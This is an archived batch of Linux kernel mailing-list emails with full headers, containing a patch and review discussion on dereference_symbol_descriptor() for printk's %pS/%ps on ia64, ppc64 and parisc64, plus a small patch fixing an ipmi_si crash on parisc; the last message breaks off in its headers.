Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1512560030 32521 195.159.176.226 (6 Dec 2017 11:33:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 6 Dec 2017 11:33:50 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Fenghua Yu <fenghua.yu@intel.com>, Tony Luck <tony.luck@intel.com>,
 linux-ia64@vger.kernel.org,
 Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
 linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
 Jessica Yu <jeyu@kernel.org>, James Bottomley <jejb@parisc-linux.org>,
 Steven Rostedt <rostedt@goodmis.org>, linux-kernel@vger.kernel.org,
 Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
 Paul Mackerras <paulus@samba.org>, Andrew Morton <akpm@linux-foundation.org>,
 linuxppc-dev@lists.ozlabs.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org Wed Dec 06 12:33:45 2017
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>)
	id 1eMXs5-0005dT-Gz
	for glppd-linuxppc64-dev@m.gmane.org; Wed, 06 Dec 2017 12:28:14 +0100
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 3ysFjW3mhTzF0Hf
	for <glppd-linuxppc64-dev@m.gmane.org>; Wed,  6 Dec 2017 21:49:19 +1100 (AEDT)
Authentication-Results: lists.ozlabs.org;
	dkim=fail reason="signature verification failed" (2048-bit key; unprotected) header.d=gmail.com header.i=@gmail.com header.b="pjrwOuKW";
	dkim-atps=neutral
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: ozlabs.org; spf=pass (mailfrom) smtp.mailfrom=gmail.com
 (client-ip=2607:f8b0:400e:c05::244; helo=mail-pg0-x244.google.com;
 envelope-from=sergey.senozhatsky.work@gmail.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dkim=pass (2048-bit key;
 unprotected) header.d=gmail.com header.i=@gmail.com header.b="pjrwOuKW"; 
 dkim-atps=neutral
Original-Received: from mail-pg0-x244.google.com (mail-pg0-x244.google.com
 [IPv6:2607:f8b0:400e:c05::244])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 3ysFfw5RnmzDrnr
 for <linuxppc-dev@lists.ozlabs.org>; Wed,  6 Dec 2017 21:47:04 +1100 (AEDT)
Original-Received: by mail-pg0-x244.google.com with SMTP id b18so2014352pgv.10
 for <linuxppc-dev@lists.ozlabs.org>; Wed, 06 Dec 2017 02:47:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=aOYgbJLSv/wIEKJhVcN3xWOUYMkPLoUbFqFxW787dDE=;
 b=pjrwOuKWDTFygREmq7sCS7Gj9jyWNC0hjUjFYwFhX9nUewxC86ZJRNTq/+Z5ru/Lv9
 CuKPrLWrFdD+K8s2cKmN3vpYucgFWU1Brko9DZyNS1MAq0/W4kkH8VcSaA1uia/B9bep
 sxiYUDi8fbKneTEBKgLOUFakkfuse738dG5b1XwdIOwuA5PJFbiyekEu3EVhPqj3w8Gp
 u3caS8YoT52okHBcgbuoustIMgf+tqJxogYjx8FhWDADyTqkCkexWV9tl7Qt1Bq2Zsfs
 YUDJLnRMaCYizuSCUFQEyuH/G1YPe7cqJR1tUkgIzdu/lQHKsnus7Xm3YpZVQLm5LGdd
 kSJw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=aOYgbJLSv/wIEKJhVcN3xWOUYMkPLoUbFqFxW787dDE=;
 b=ti2AXmeSs25oxExTlsUkrSYg69OCdd/0YyMLc8P0NjvecrCbjSguDKxyf4IyM+Buxe
 JGIuDCW3iqyip/pM9eea7WmPrf0clmzN+gQ2oP3rD9drvkRZQHeP6IyFWCO/TsvjjSO/
 c/+k6GqKc3v2v3vTqcOkKbFNgde+Pd9w9iJRIjXg1FLYz/bih3JFZkswBWvzRB5L6ex0
 l/V1WLDYrf8wmMOv8b0y9ZYQ2mXROLwiojXRFn20NIS5WVCXS/Npbzjr/mqXHSH1LUa8
 wZfEeyAoU4KIrYVXyItT1wEDkER9lRJJeD9ObLJyzt2qx6Us+YQ7u1w55JliJB+GXI9H
 R/AQ==
X-Gm-Message-State: AKGB3mKIP3zRuVwGudP5lMmhpuwxc8XClKUJiUQojwuYymoL0HdQ/hsT
 l4AF2a81Va3w7MXVnJYvZeU=
X-Google-Smtp-Source: AGs4zMay8AGZuWZzOb5/nsUIs+IB49fyRQJtkUM5OZWJmzp4lwUIAFa2DpFjxnsF1UFD3EBDTNFJmQ==
X-Received: by 10.98.236.137 with SMTP id e9mr2019494pfm.123.1512557222057;
 Wed, 06 Dec 2017 02:47:02 -0800 (PST)
Original-Received: from localhost ([175.223.14.89])
 by smtp.gmail.com with ESMTPSA id z2sm3850750pgu.17.2017.12.06.02.46.59
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Wed, 06 Dec 2017 02:47:00 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171206103241.t2jbljml7it7wsnz@pathway.suse.cz>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:150838 gmane.linux.ports.ia64:28323 gmane.linux.ports.parisc:28032 gmane.linux.kernel:2634859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc64.devel/150838>

On (12/06/17 11:32), Petr Mladek wrote:
[..]
> > diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> > index aa0a776c817a..02745028e909 100644
> > --- a/Documentation/printk-formats.txt
> > +++ b/Documentation/printk-formats.txt
> > @@ -61,41 +61,31 @@ Symbols/Function Pointers
> >  
> >  ::
> >  
> > -	%pF	versatile_init+0x0/0x110
> > -	%pf	versatile_init
> > -	%pS	versatile_init+0x0/0x110
> > -	%pSR	versatile_init+0x9/0x110
> > +	%pS     versatile_init+0x0/0x110
> > +	%ps     versatile_init
> > +	%pF     versatile_init+0x0/0x110
> > +	%pf     versatile_init
> > +	%pSR    versatile_init+0x9/0x110
> >  		(with __builtin_extract_return_addr() translation)
> > -	%ps	versatile_init
> > -	%pB	prev_fn_of_versatile_init+0x88/0x88
> > +	%pB     prev_fn_of_versatile_init+0x88/0x88
> 
> I was curious why so many lines were changed here. You converted
> the 2nd tab to spaces. I put back the tab. The result is:

ew... how did that happen. thanks for fixing up.

> > +static inline void *dereference_symbol_descriptor(void *ptr)
> > +{
> > +#ifdef HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR
> > +	struct module *mod;
> > +
> > +	ptr = dereference_kernel_function_descriptor(ptr);
> > +	if (is_ksym_addr((unsigned long)ptr))
> > +		return ptr;
> > +
> > +	preempt_disable();
> > +	mod = __module_address((unsigned long)ptr);
> > +	preempt_enable();
> > +
> > +	if (mod)
> > +		ptr = dereference_module_function_descriptor(mod, ptr);
> > +#endif
> > +	return ptr;
> > +}
> 
> It is a bit too long for an inline function but I did not find a
> better solution. It should always be defined and all suitable
> .c files are compiled only under certain configuration. Well,
> it is a nop on most architectures.

or we can move dereference_symbol_descriptor() to vsprintf.c,
since all the functions it depends on are now available either
as exported symbols or via kallsyms header file. not that it
annoys me, so we can keep it as it is.

	-ss


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 5/6] symbol lookup: introduce
 dereference_symbol_descriptor()
Date: Wed, 6 Dec 2017 13:36:49 +0900
Lines: 267
Approved: news@gmane.org
Message-ID: <20171206043649.GB15885@jagdpanzerIV>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1512560413 17069 195.159.176.226 (6 Dec 2017 11:40:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 6 Dec 2017 11:40:13 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Dec 06 12:40:04 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eMXx4-0004Zt-QL
	for glpi-linux-ia64-2@m.gmane.org; Wed, 06 Dec 2017 12:33:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751964AbdLFEg4 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Tue, 5 Dec 2017 23:36:56 -0500
Original-Received: from mail-pl0-f66.google.com ([209.85.160.66]:44264 "EHLO
        mail-pl0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750978AbdLFEgz (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Tue, 5 Dec 2017 23:36:55 -0500
Original-Received: by mail-pl0-f66.google.com with SMTP id x22so264611pln.11;
        Tue, 05 Dec 2017 20:36:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=yT46q2dCHbWjAdmFCA7uhkufS+pCd4Zohv0Gle9N6NI=;
        b=Itjfi0hWbkDhiz8VHRaTQz0kOs0nrG3xVx3PihUYbHfYCJfaCkEA9/GWuW21y/0ejg
         CgnSrZjF7yULF27OBrz1QtofpONlHKXVbxzSX8ODX9VLs0YwqS6GDuBitxacbhSy9SEl
         +HZn0Ngpqvx714QkIajBoaoeDhO7NrnWhEWOWDEazi91kMFAf9AcQ8TIf6OicXFYSN8u
         +1pUzBvmK/lrt0rovf7j7u1BOv/A3LwQ906MXaAxOT4QbfAcUnukTjgIXGBvPn4gi9P0
         stPkXhyU76g+A7wFugL3pk+HrCtzb7WRtVrj/oXpKJPxys5Ew8rK9BXaHwPzatgJBtLE
         R6WA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=yT46q2dCHbWjAdmFCA7uhkufS+pCd4Zohv0Gle9N6NI=;
        b=Hk/HLKQwjVOCyAxWO+eh9iF+/4LwBJvlkgfeHyiLoyCHnHajjr4JkzUrgbw3s7ZSqY
         VOKvVX3vkID71zuc0NTS+r+Nh21AYq6M1N0meLOreT8uI5mMMVKjkUw+uwxkpgB+ekRw
         jHdufZBZg48smmkb8jRaDuD9SwIU6oKHtS0x2v5RSz+Fs6tmklTKzfdgqfklf0qMVOHR
         iCJJP+mkj+yXTAY4TtlpP9xig0oM++K+0nLaizhKrdgRcBZydSG5F2f0e+xuqdcVgWPK
         qirSkdzNDFvsx9/NU4dL0g7xIRvJGjuHwLH8uT6vx/wLjju2FmClLHy7q3wOvNRERBsl
         mbJA==
X-Gm-Message-State: AKGB3mISYrbH2xsFNtj9Q2Mbm5yFhPWXXqABFLQfeYkNUVpixA6eH0Da
        xCdPnbWCV4ZKsTg3ZclMMfQ=
X-Google-Smtp-Source: AGs4zMbroS1va//V5GIzceLoQL0+bJsHVjZmGfmPKfSbM19+Pm0/4r+1qLw97+HNFoyQa+9YuKNndw==
X-Received: by 10.159.241.134 with SMTP id s6mr8080746plr.354.1512535014377;
        Tue, 05 Dec 2017 20:36:54 -0800 (PST)
Original-Received: from localhost ([175.223.14.89])
        by smtp.gmail.com with ESMTPSA id z5sm2022643pgb.6.2017.12.05.20.36.52
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 05 Dec 2017 20:36:53 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28324 gmane.linux.ports.parisc:28033 gmane.linux.ports.ppc64.devel:150841 gmane.linux.kernel:2634924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28324>

Hello,

	so we got a number of build-error reports [somehow I
thought 0day has compile tested the patches already; well, I
was wrong] basically on congifs that have no KALLSYMS.


Petr, can we replace 0006 with the following patch?

8<--- --- ---

From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Subject: [PATCH] symbol lookup: introduce dereference_symbol_descriptor()

dereference_symbol_descriptor() invokes appropriate ARCH specific
function descriptor dereference callbacks:
- dereference_kernel_function_descriptor() if the pointer is a
  kernel symbol;

- dereference_module_function_descriptor() if the pointer is a
  module symbol.

This is the last step needed to make '%pS/%ps' smart enough to
handle function descriptor dereference on affected ARCHs and
to retire '%pF/%pf'.

To refresh it:
  Some architectures (ia64, ppc64, parisc64) use an indirect pointer
  for C function pointers - the function pointer points to a function
  descriptor and we need to dereference it to get the actual function
  pointer.

  Function descriptors live in .opd elf section and all affected
  ARCHs (ia64, ppc64, parisc64) handle it properly for kernel and
  modules. So we, technically, can decide if the dereference is
  needed by simply looking at the pointer: if it belongs to .opd
  section then we need to dereference it.

  The kernel and modules have their own .opd sections, obviously,
  that's why we need to split dereference_function_descriptor()
  and use separate kernel and module dereference arch callbacks.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 Documentation/printk-formats.txt | 42 ++++++++++++-------------------
 include/linux/kallsyms.h         | 53 ++++++++++++++++++++++++++++++++++++++++
 kernel/kallsyms.c                | 33 -------------------------
 lib/vsprintf.c                   |  5 ++--
 4 files changed, 71 insertions(+), 62 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index aa0a776c817a..02745028e909 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -61,41 +61,31 @@ Symbols/Function Pointers
 
 ::
 
-	%pF	versatile_init+0x0/0x110
-	%pf	versatile_init
-	%pS	versatile_init+0x0/0x110
-	%pSR	versatile_init+0x9/0x110
+	%pS     versatile_init+0x0/0x110
+	%ps     versatile_init
+	%pF     versatile_init+0x0/0x110
+	%pf     versatile_init
+	%pSR    versatile_init+0x9/0x110
 		(with __builtin_extract_return_addr() translation)
-	%ps	versatile_init
-	%pB	prev_fn_of_versatile_init+0x88/0x88
+	%pB     prev_fn_of_versatile_init+0x88/0x88
 
-The ``F`` and ``f`` specifiers are for printing function pointers,
-for example, f->func, &gettimeofday. They have the same result as
-``S`` and ``s`` specifiers. But they do an extra conversion on
-ia64, ppc64 and parisc64 architectures where the function pointers
-are actually function descriptors.
+The ``S`` and ``s`` specifiers are used for printing a pointer in symbolic
+format. They result in the symbol name with (``S``) or without (``s``)
+offsets. If KALLSYMS are disabled then the symbol address is printed instead.
 
-The ``S`` and ``s`` specifiers can be used for printing symbols
-from direct addresses, for example, __builtin_return_address(0),
-(void *)regs->ip. They result in the symbol name with (``S``) or
-without (``s``) offsets. If KALLSYMS are disabled then the symbol
-address is printed instead.
+Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
+and thus deprecated. We have ``F`` and ``f`` because on ia64, ppc64 and
+parisc64 function pointers are indirect and, in fact, are function
+descriptors, which require additional dereferencing before we can lookup
+the symbol. As of now, ``S`` and ``s`` perform dereferencing on those
+platforms (when needed), so ``F`` and ``f`` exist for compatibility
+reasons only.
 
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
 when tail-call``s are used and marked with the noreturn GCC attribute.
 
-Examples::
-
-	printk("Going to call: %pF\n", gettimeofday);
-	printk("Going to call: %pF\n", p->func);
-	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
-	printk("%s: called from %pS\n", __func__,
-				(void *)__builtin_return_address(0));
-	printk("Faulted at %pS\n", (void *)regs->ip);
-	printk(" %s%pB\n", (reliable ? "" : "? "), (void *)*stack);
-
 Kernel Pointers
 ===============
 
diff --git a/include/linux/kallsyms.h b/include/linux/kallsyms.h
index bd118a6c60cb..1bcfe221e62c 100644
--- a/include/linux/kallsyms.h
+++ b/include/linux/kallsyms.h
@@ -9,6 +9,9 @@
 #include <linux/errno.h>
 #include <linux/kernel.h>
 #include <linux/stddef.h>
+#include <linux/mm.h>
+
+#include <asm/sections.h>
 
 #define KSYM_NAME_LEN 128
 #define KSYM_SYMBOL_LEN (sizeof("%s+%#lx/%#lx [%s]") + (KSYM_NAME_LEN - 1) + \
@@ -16,6 +19,56 @@
 
 struct module;
 
+static inline int is_kernel_inittext(unsigned long addr)
+{
+	if (addr >= (unsigned long)_sinittext
+	    && addr <= (unsigned long)_einittext)
+		return 1;
+	return 0;
+}
+
+static inline int is_kernel_text(unsigned long addr)
+{
+	if ((addr >= (unsigned long)_stext && addr <= (unsigned long)_etext) ||
+	    arch_is_kernel_text(addr))
+		return 1;
+	return in_gate_area_no_mm(addr);
+}
+
+static inline int is_kernel(unsigned long addr)
+{
+	if (addr >= (unsigned long)_stext && addr <= (unsigned long)_end)
+		return 1;
+	return in_gate_area_no_mm(addr);
+}
+
+static inline int is_ksym_addr(unsigned long addr)
+{
+	if (IS_ENABLED(CONFIG_KALLSYMS_ALL))
+		return is_kernel(addr);
+
+	return is_kernel_text(addr) || is_kernel_inittext(addr);
+}
+
+static inline void *dereference_symbol_descriptor(void *ptr)
+{
+#ifdef HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR
+	struct module *mod;
+
+	ptr = dereference_kernel_function_descriptor(ptr);
+	if (is_ksym_addr((unsigned long)ptr))
+		return ptr;
+
+	preempt_disable();
+	mod = __module_address((unsigned long)ptr);
+	preempt_enable();
+
+	if (mod)
+		ptr = dereference_module_function_descriptor(mod, ptr);
+#endif
+	return ptr;
+}
+
 #ifdef CONFIG_KALLSYMS
 /* Lookup the address for a symbol. Returns 0 if not found. */
 unsigned long kallsyms_lookup_name(const char *name);
diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
index d5fa4116688a..4a79598e92c7 100644
--- a/kernel/kallsyms.c
+++ b/kernel/kallsyms.c
@@ -27,8 +27,6 @@
 #include <linux/ftrace.h>
 #include <linux/compiler.h>
 
-#include <asm/sections.h>
-
 /*
  * These will be re-linked against their real values
  * during the second link stage.
@@ -52,37 +50,6 @@ extern const u16 kallsyms_token_index[] __weak;
 
 extern const unsigned long kallsyms_markers[] __weak;
 
-static inline int is_kernel_inittext(unsigned long addr)
-{
-	if (addr >= (unsigned long)_sinittext
-	    && addr <= (unsigned long)_einittext)
-		return 1;
-	return 0;
-}
-
-static inline int is_kernel_text(unsigned long addr)
-{
-	if ((addr >= (unsigned long)_stext && addr <= (unsigned long)_etext) ||
-	    arch_is_kernel_text(addr))
-		return 1;
-	return in_gate_area_no_mm(addr);
-}
-
-static inline int is_kernel(unsigned long addr)
-{
-	if (addr >= (unsigned long)_stext && addr <= (unsigned long)_end)
-		return 1;
-	return in_gate_area_no_mm(addr);
-}
-
-static int is_ksym_addr(unsigned long addr)
-{
-	if (IS_ENABLED(CONFIG_KALLSYMS_ALL))
-		return is_kernel(addr);
-
-	return is_kernel_text(addr) || is_kernel_inittext(addr);
-}
-
 /*
  * Expand a compressed symbol data into the resulting uncompressed string,
  * if uncompressed string is too long (>= maxlen), it will be truncated,
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 01c3957b2de6..03950269f35d 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -42,7 +42,6 @@
 #include "../mm/internal.h"	/* For the trace_print_flags arrays */
 
 #include <asm/page.h>		/* for PAGE_SIZE */
-#include <asm/sections.h>	/* for dereference_function_descriptor() */
 #include <asm/byteorder.h>	/* cpu_to_le16 */
 
 #include <linux/string_helpers.h>
@@ -1862,10 +1861,10 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	switch (*fmt) {
 	case 'F':
 	case 'f':
-		ptr = dereference_function_descriptor(ptr);
-		/* Fallthrough */
 	case 'S':
 	case 's':
+		ptr = dereference_symbol_descriptor(ptr);
+		/* Fallthrough */
 	case 'B':
 		return symbol_string(buf, end, ptr, spec, fmt);
 	case 'R':
-- 
2.15.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: [PATCH] ipmi_si: fix crash on parisc
Date: Wed, 6 Dec 2017 04:25:44 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1712060052170.12854@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1512560823 32293 195.159.176.226 (6 Dec 2017 11:47:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 6 Dec 2017 11:47:03 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: openipmi-developer@lists.sourceforge.net,
        linux-parisc@vger.kernel.org
To: Corey Minyard <minyard@acm.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 06 12:46:57 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eMY1f-0004Zt-2n
	for glpp-linux-parisc@m.gmane.org; Wed, 06 Dec 2017 12:38:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754095AbdLFJZq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 6 Dec 2017 04:25:46 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52114 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753656AbdLFJZp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 6 Dec 2017 04:25:45 -0500
Original-Received: from smtp.corp.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id D4FE228443;
        Wed,  6 Dec 2017 09:25:44 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id B212751515;
        Wed,  6 Dec 2017 09:25:44 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id vB69PibC016509;
        Wed, 6 Dec 2017 04:25:44 -0500
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id vB69Pi3V016505;
        Wed, 6 Dec 2017 04:25:44 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.11
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.30]); Wed, 06 Dec 2017 09:25:44 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28034 gmane.linux.kernel.openipmi:3394
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28034>

This patch fixes ipmi crash on parisc introduced in the kernel 4.15-rc.
The pointer io.io_setup is not initialized and thus it causes crash in
try_smi_init when attempting to call new_smi->io.io_setup.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 drivers/char/ipmi/ipmi_si_parisc.c |    2 ++
 1 file changed, 2 insertions(+)

Index: linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c
===================================================================
--- linux-4.15-rc2.orig/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06 01:19:49.000000000 +0100
+++ linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06 06:40:12.000000000 +0100
@@ -10,6 +10,8 @@ static int __init ipmi_parisc_probe(stru
 {
 	struct si_sm_io io;
 
+	memset(&io, 0, sizeof(io));
+
 	io.si_type	= SI_KCS;
 	io.addr_source	= SI_DEVICETREE;
 	io.addr_type	= IPMI_MEM_ADDR_SPACE;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 5/6] symbol lookup: introduce
 dereference_symbol_descriptor()
Date: Wed, 6 Dec 2017 11:32:41 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <20171206103241.t2jbljml7it7wsnz@pathway.suse.cz>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
 <20171206043649.GB15885@jagdpanzerIV>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1512561437 14765 195.159.176.226 (6 Dec 2017 11:57:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
